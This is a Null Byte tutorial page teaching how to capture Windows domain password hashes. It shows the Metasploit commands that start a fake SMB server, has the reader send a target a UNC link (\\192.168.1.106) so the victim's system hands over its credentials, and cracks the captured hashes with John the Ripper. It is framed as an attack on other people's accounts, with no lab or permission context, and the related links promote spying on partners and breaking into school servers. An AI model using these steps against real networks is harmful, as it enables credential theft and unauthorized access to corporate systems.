Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords) « Null Byte :: WonderHowTo

Welcome back, my neophyte hackers!In previous tutorials, we learned how tosteal system tokensthat we could use to access resources, how touse hashdump to pull password hashesfrom a local system, and how tograb password hashes from a local system and crack them.In each of these cases, the password hashes were the passwords of the users on thelocalsystem and not the domain. If the system is part of a domain (which is the case in most corporations and large institutions), they will likely have their password stored on the domain controller (DC). How would we get the domain passwords without attacking the fortified domain controller?One of the more powerful features built intoMetasploitis the ability to set up a fake SMB server. This means that when someone on the network attempts to access the SMB server, their system will need to present their credentials in terms of their domain password hash. Very often, large networks have a system that systematically connects to each machine to check whether they are patched and secure. When it does so, it must present its credentials to each system and this will usually use the admin password. If we are patient, this may be the best strategy.In addition, by setting up this fake SMB server, we may be able to capture domain credentials as users attempt to authenticate against it. We could send the target an embedded UNC path, and when they click on it, we can grab their domain credentials.Unlike some of our other Metasploit attacks, this is neither anexploitor apayload. It is anauxiliary module, and is capable of capturing the hash in a format to be broken using eitherCain and AbelorJohn the Ripper.Step 1: Fire Up Kali and Start MetasploitLet's start by firing upKaliand opening one of my favorite hacking tools, Metasploit, by typing:kali > msfconsoleStep 2: Set Up the SMB ServerNow that we have Metasploit open, let's set up a fake SMB server. Unlike some of our other Metasploit attacks, this one is neither an exploit or payload, but rather an auxiliary module. We can start it by typing:msf > use auxiliary/server/capture/smbNow that we have loaded this module, let's take a look at the options we need to set to use this module.msf >show optionsAs you can see, this module has numerous options, but we can leave the default settings on each of them, with the exception of the file type to store the hashes for cracking.Notice, I have highlighted theJOHNPWFILEoption above. We also have theCAINPWFILEat the very top. These options allow us to determine the format of the file storing the hashes for cracking byCain and AbelorJohn the Ripper. In this tutorial, I'll be using the latter tool.To do so, I simply need to tell this module to "set" the JOHNPWFILE to a particular location by typing:msf > set JOHNPWFILE /root/domainhashesNow, all that is left to do is "exploit."msf > exploitWhen we type "exploit," this module will start a fake SMB server that will store the presented credentials in the/rootdirectory in files beginning with "johnhashes".Step 3: ShareNow that our SMB server is running, we need someone to attempt to login to our share. We can do this by sending a UNC link to our share, such as:net use \\192.168.1.106 nullbyteWhen they click on that link, their domain credentials will be presented to our SMB server and captured as in the screenshot below.Step 4: Crack the HashThe final step is to crack the hashes to obtain the password. We need to go to the/rootdirectory to find the saved hash files.kali > cd /rootAs you can see, there are two hashes stored here. Now to crack them, we can use John the Ripper by typing:kali > john johnhashes_netlmv2When we do so, John the Ripper loads the password hash, recognizes the type of hash, and begins cracking it.Keep coming back, my neophyte hackers, as we explore the arts and techniques of hacking. If you are new to Null Byte, make sure to go back to the other guides in thisMetasploit Basicsseries, and check out all ofthe other hacking serieswe have!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxHack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)How to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHack Like a Pro:How to Hack Your School's Server to Download Final Exam AnswersHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Enumerate SMB with Enum4linux & SmbclientHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:How to Save the World from Nuclear AnnihilationHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)News:8 Tips for Creating Strong, Unbreakable PasswordsHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:How to Remotely Grab a Screenshot of Someone's Compromised ComputerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHow To:Get Root Filesystem Access via Samba Symlink TraversalNews:Shadow Brokers Leak Reveals NSA Compromised SWIFTHow to Hack Databases:Hunting for Microsoft's SQL ServerHow To:Exploit EternalBlue on Windows Server with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Goodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerHack Like a Pro:Hacking Samba on Ubuntu and Installing the Meterpreter